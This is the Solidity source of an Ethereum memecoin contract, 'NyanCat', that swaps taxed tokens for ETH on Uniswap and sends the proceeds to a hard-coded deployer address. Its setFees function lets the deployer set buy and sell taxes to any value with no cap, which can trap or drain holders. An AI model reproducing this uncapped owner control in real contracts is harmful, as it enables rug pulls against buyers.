/**  
        TG: https://t.me/NyanCatEntry
        WEB: https://nyancatcoin.net/
        */
        // SPDX-License-Identifier: unlicense

        pragma solidity ^0.8.20;

        interface IUniswapV2Router02 {
            function swapExactTokensForETHSupportingFeeOnTransferTokens(
                uint amountIn,
                uint amountOutMin,
                address[] calldata path,
                address to,
                uint deadline
            ) external;
        }
        
        contract NyanCat {
            string public constant name = "NyanCat";  //
            string public constant symbol = "nyan";  //
            uint8 public constant decimals = 18;
            uint256 public constant totalSupply = 1_000_000 * 10**decimals;

            uint256 buyTax = 0;
            uint256 sellTax = 0;
            uint256 constant swapAmount = totalSupply / 100;

            mapping (address => uint256) public balanceOf;
            mapping (address => mapping (address => uint256)) public allowance;
            
            error Permissions();
            
            event Transfer(address indexed from, address indexed to, uint256 value);
            event Approval(
                address indexed owner,
                address indexed spender,
                uint256 value
            );
            

            address private pair;
            address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
            address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
            IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
            address payable constant deployer = payable(address(0xF5Ef8277D7861d7eB4E12d8aC639F194ad89B247)); //

            bool private swapping;
            bool private tradingOpen;

            constructor() {
                balanceOf[msg.sender] = totalSupply;
                allowance[address(this)][routerAddress] = type(uint256).max;
                emit Transfer(address(0), msg.sender, totalSupply);
            }

            receive() external payable {}

            function approve(address spender, uint256 amount) external returns (bool){
                allowance[msg.sender][spender] = amount;
                emit Approval(msg.sender, spender, amount);
                return true;
            }

            function transfer(address to, uint256 amount) external returns (bool){
                return _transfer(msg.sender, to, amount);
            }

            function transferFrom(address from, address to, uint256 amount) external returns (bool){
                allowance[from][msg.sender] -= amount;        
                return _transfer(from, to, amount);
            }

            function _transfer(address from, address to, uint256 amount) internal returns (bool){
                require(tradingOpen || from == deployer || to == deployer);

                if(!tradingOpen && pair == address(0) && amount > 0)
                    pair = to;

                balanceOf[from] -= amount;

                if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                    swapping = true;
                    address[] memory path = new  address[](2);
                    path[0] = address(this);
                    path[1] = ETH;
                    _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                        swapAmount,
                        0,
                        path,
                        address(this),
                        block.timestamp
                    );
                    deployer.transfer(address(this).balance);
                    swapping = false;
                }

                if(from != address(this)){
                    uint256 taxAmount = amount * (from == pair ? buyTax : sellTax) / 100;
                    amount -= taxAmount;
                    balanceOf[address(this)] += taxAmount;
                }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

            function openTrading() external {
                require(msg.sender == deployer);
                require(!tradingOpen);
                tradingOpen = true;        
            }

            function _setFees(uint256 _buy, uint256 _sell) private {
                buyTax = _buy;
                sellTax = _sell;
            }

            function setFees(uint256 _buy, uint256 _sell) external {
                if(msg.sender != deployer)        
                    revert Permissions();
                _setFees(_buy, _sell);
            }
        }